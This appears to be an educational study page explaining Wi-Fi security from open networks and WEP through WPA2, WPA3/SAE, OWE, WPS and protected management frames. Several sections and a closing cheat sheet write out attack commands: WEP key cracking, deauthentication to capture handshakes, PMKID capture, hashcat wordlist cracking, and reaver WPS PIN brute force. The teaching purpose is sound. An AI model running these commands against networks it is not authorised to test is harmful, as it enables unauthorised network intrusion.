Where this falls
Why Wi-Fi needs encryption at all
A wired network has a physical defence you rarely think about: to read the traffic, an attacker has to plug into the cable. Wi-Fi throws that defence away. It sends every frame out as radio waves in all directions, through walls, out the window, into the car park. Anyone with a cheap antenna in range receives a perfect copy of your packets whether you invited them or not.
A cabled network is passing notes by hand in a classroom. Wi-Fi is shouting the note across the room. Encryption is agreeing, in advance, to shout in a language only you and your friend understand. Everyone still hears the noise. Only the two of you hear the message.
So wireless security is really two separate questions, and every protocol on this page is just a different answer to them:
- Encryption — can an eavesdropper read what I send? (confidentiality)
- Authentication — can I prove I'm allowed on this network, and that the AP is the real one? (identity)
The whole history below is a story of these two questions being answered badly (WEP), then adequately (WPA2), then well (WPA3) — and of attackers finding the gap each time.
01 · History
Twenty years in one glance
Each step exists because the previous one was broken. Keep this order in your head and every acronym later has a reason to exist.
02 · No encryption
Open networks
The baseline: no key, no encryption, nothing. The airport, the café, the hotel lobby. You connect in two round trips and you're on.
Figure 1 — Joining an open network. No secret is ever exchanged.
wireshark. This is why "free Wi-Fi" is a hunting ground.
OWE (section 08) later fixes exactly this without asking anyone to type a password.
03 · The broken one
WEP & RC4
Wired Equivalent Privacy was supposed to make wireless "as private as a cable." It failed. Understanding why teaches you the single most important idea in stream ciphers.
The RC4 keystream idea
RC4 is a symmetric stream cipher: the same key encrypts and decrypts. It stretches a short key into a long river of pseudo-random bits (the keystream), then XORs that river against your plaintext.
XOR encryption is a tracing-paper overlay. Lay a random pattern over your message and the message vanishes into noise. Lay the exact same pattern over the noise again and the message reappears. The pattern is the keystream. The golden rule: never reuse the same overlay twice.
How WEP builds the keystream
- KSA (Key Scheduling Algorithm) — seeds a state table from the IV + WEP key.
- PRGA (Pseudo-Random Generation Algorithm) — spits out the keystream from that table.
The fatal flaw: a 24-bit IV
Every packet prepends a 24-bit Initialization Vector to the key so the keystream differs per packet. 24 bits is only ~16.7 million values. On a busy network the IV wraps around and repeats within hours. Two packets with the same IV = same keystream = the tracing-paper overlay reused. XOR them together and the key cancels out, leaking the plaintext.
aircrack-ng gather enough repeated IVs to recover the key statistically — not by guessing the password, but by solving for it. Minutes, not years.
Figure 2 — WEP encryption. The IV travels in cleartext with the packet, which is the root of the problem.
Attacking WEP
The flow: capture traffic, inject to force more IVs, crack the key from the collected IVs.
# 1. monitor mode on your card $ airmon-ng start wlan0 # 2. find the target, note BSSID + channel $ airodump-ng wlan0mon # 3. capture only the target, write to file $ airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w wep wlan0mon # 4. (optional) replay ARP to generate IVs fast $ aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF wlan0mon # 5. crack once you have ~20k-80k IVs $ aircrack-ng wep-01.cap
WEP authentication (two flavours)
- Open — anyone associates; you just need the key to actually encrypt data afterwards.
- Shared Key — AP sends a challenge, client encrypts it with the WEP key. Ironically weaker: capturing one challenge + response leaks keystream directly.
04 · The workhorse
WPA & WPA2
802.11i produced two ciphers. One to rescue old hardware, one built properly.
| Cipher | Commercial name | Based on | Why it exists |
|---|---|---|---|
| TKIP | WPA / WPA1 | Still RC4, patched | Runs on WEP-era chips via a firmware update. Per-packet keys, replay counters, Michael MIC. |
| CCMP | WPA2 (RSN) | AES, from scratch | The real fix. No RC4 anywhere. Needs modern hardware. |
Personal vs Enterprise
This distinction decides how the master key is born, and it changes how you attack the network.
Everyone types the same password. The PMK is derived from it with PBKDF2 (passphrase + SSID, 4096 iterations). Attackable offline once you grab a handshake.
Each user authenticates to a RADIUS server over EAP (EAP-TLS, PEAP…). The master key comes from that exchange, not a shared word. Attacks shift to rogue APs / credential relay.
Personal is one house key that everyone in the share-house copies. Enterprise is a hotel where the front desk issues you a unique keycard and logs who you are. Break the house key once and you own the house; the hotel makes you fool the front desk.
05 · The main event
The 4-way handshake
This is the single most important sequence in the whole module. It is where WPA/WPA2 proves both sides know the password without ever sending it — and it is the exact thing you capture and crack.
Before it starts, both sides already share the PMK (Pairwise Master Key — from the passphrase in Personal mode). The handshake's job is to turn that static PMK into fresh per-session keys and confirm both sides really have it.
Figure 3 — The 4-way handshake. Capture M1 + M2 and you have everything needed to crack the PSK offline.
Capturing and cracking it
# capture on the target channel $ airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w wpa wlan0mon # force a client to reconnect so you catch the handshake # (needs a client present AND no PMF — see section 10) $ aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon # look for "WPA handshake: AA:BB..." in the airodump header # then crack offline against a wordlist $ aircrack-ng -w rockyou.txt wpa-01.cap # modern path: convert + crack on GPU with hashcat mode 22000 $ hcxpcapngtool -o hash.22000 wpa-01.cap $ hashcat -m 22000 hash.22000 rockyou.txt
hcxdumptool and crack the same hashcat 22000 mode. One frame, no handshake.
06 · The key hierarchy
Where all the keys come from
Acronym soup, but it's a clean family tree. The passphrase at the top; the session keys at the bottom.
Figure 4 — The PTK is derived fresh each session from the PMK + 2 nonces + 2 MACs, then sliced into sub-keys.
From the passphrase (Personal) or RADIUS (Enterprise). Static per network.
The working key. Different every connection because the nonces are fresh.
Encrypts extra key material the AP sends (like the GTK).
Computes the MIC on handshake messages — the part attackers verify against.
The one that actually encrypts your unicast data frames.
Shared by all clients, encrypts broadcast/multicast. Rotated when anyone leaves.
07 · The modern one
WPA3 & SAE
WPA3 doesn't invent a new cipher — it still rides on AES. What it replaces is the handshake, and that replacement is what kills offline cracking.
SAE (the Dragonfly handshake)
Simultaneous Authentication of Equals swaps the PSK exchange for a Diffie-Hellman based commit then confirm exchange. Both sides prove they know the password without producing anything an attacker can take home and grind against a wordlist.
WPA2's handshake is like someone showing you a locked box — you can take it home and try keys on it forever (offline cracking). SAE is like a live door that only opens if you say the password out loud, once, in person. Guess wrong and you're kicked out and have to come back. No box to take home. Every guess costs a real round trip to the AP.
- Forward secrecy — stealing today's password can't decrypt yesterday's captured traffic.
- PMF mandatory — deauth attacks don't work (see section 10).
- Enterprise 192-bit mode — GCMP-256, HMAC-SHA384, ECDHE/ECDSA on a 384-bit curve.
- SAE uses DH groups; group 19 (256-bit ECP) is the mandatory baseline.
08 · Encryption without a password
OWE — Enhanced Open
Remember the café network from section 02, where everything was plaintext? OWE fixes it without anyone typing a password. The screen still says "open," but the air is encrypted.
The trick: during association, client and AP do a Diffie-Hellman exchange, and the shared secret feeds a normal 4-way handshake. Each client gets its own keys, so your neighbour on the same open network still can't read your traffic.
Old open Wi-Fi: everyone shouts in the same room, no language barrier. OWE: before talking, you and the AP secretly invent a private language on the spot that nobody overhearing can reconstruct — even though you never pre-agreed a password.
- Depends on PMF required on the AP.
- Uses ECC DH groups 19, 20, 21.
- Transition mode runs a legacy open BSSID alongside the OWE one so old devices still connect.
09 · The convenience hole
WPS
Wi-Fi Protected Setup lets you join by pressing a button or typing an 8-digit PIN instead of the long passphrase. Convenient. Also one of the most reliable ways onto a home network.
Why the PIN is weak
The 8-digit PIN is checked in two halves, and the last digit is just a checksum. So instead of 10⁸ (100 million) guesses, an attacker faces 10⁴ + 10³ ≈ 11,000 guesses. The protocol itself tells you when the first half is right (via the M4/M5/M6 message responses).
Imagine a padlock that beeps the moment the first four digits are right, before you've finished the code. You'd crack it in an afternoon. WPS does exactly that: it validates each half separately, so you brute-force two tiny spaces instead of one huge one.
# list WPS-enabled APs and their lock status $ wash -i wlan0mon # online PIN brute force (slow, noisy, but classic) $ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv # Pixie-Dust: offline attack on weak nonce generation (seconds-minutes) $ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1 -vv
-K 1) exploits that to recover the PIN offline in seconds — no 11,000-guess grind. Always try it first.
10 · The deauth killer
802.11w — Protected Management Frames
Everything above assumed you could deauth a client to force a fresh handshake. 802.11w (PMF) is what stops that.
Normally, deauthentication and disassociation frames are unauthenticated — the AP or client believes any deauth it receives and disconnects. That's the whole basis of the deauth attack. PMF adds integrity protection to these management frames, so a spoofed deauth is simply ignored.
Without PMF, anyone can shout "the meeting's cancelled!" and the whole room gets up and leaves — then files back in, letting you photograph them at the door (the handshake). With PMF, the cancellation only counts if it carries the official stamp. Your forged announcement gets ignored.
| AP setting | Client setting | Connects? | PMF active? |
|---|---|---|---|
| No | No | Yes | No |
| No | Capable | Yes | No |
| No | Required | No | — |
| Capable | No | Yes | No |
| Capable | Capable | Yes | Yes |
| Capable | Required | Yes | Yes |
| Required | No | No | — |
| Required | Capable | Yes | Yes |
| Required | Required | Yes | Yes |
11 · Keep this open
Protocol & attack cheat sheet
| Protocol | Year | Cipher | Key handshake | Status | Primary attack |
|---|---|---|---|---|---|
| Open | — | none | none | plaintext | passive sniff |
| WEP | 1997 | RC4 + 24-bit IV | none / shared | broken | IV statistical crack |
| WPA (TKIP) | 2003 | RC4, patched | 4-way | weak | handshake + wordlist |
| WPA2 (CCMP) | 2004 | AES-CCMP | 4-way | PSK crackable | handshake / PMKID |
| WPA3 (SAE) | 2018 | AES, SAE | Dragonfly | strong | Dragonblood / downgrade |
| OWE | 2018 | AES + DH | DH + 4-way | open+enc | rogue AP (active) |
| WPS | 2006 | n/a (onboarding) | M1–M8 | weak PIN | Pixie-Dust / reaver |
Command quick-reference
# --- setup (always) --- $ airmon-ng start wlan0 $ airodump-ng wlan0mon # survey # --- WEP --- $ airodump-ng --bssid <BSSID> -c <ch> -w wep wlan0mon $ aireplay-ng --arpreplay -b <BSSID> wlan0mon $ aircrack-ng wep-01.cap # --- WPA/WPA2 (handshake) --- $ airodump-ng --bssid <BSSID> -c <ch> -w wpa wlan0mon $ aireplay-ng --deauth 5 -a <BSSID> -c <CLIENT> wlan0mon $ hcxpcapngtool -o hash.22000 wpa-01.cap $ hashcat -m 22000 hash.22000 rockyou.txt # --- WPA2 (PMKID, no client needed) --- $ hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 $ hcxpcapngtool -o hash.22000 pmkid.pcapng $ hashcat -m 22000 hash.22000 rockyou.txt # --- WPS --- $ wash -i wlan0mon $ reaver -i wlan0mon -b <BSSID> -c <ch> -K 1 -vv # pixie first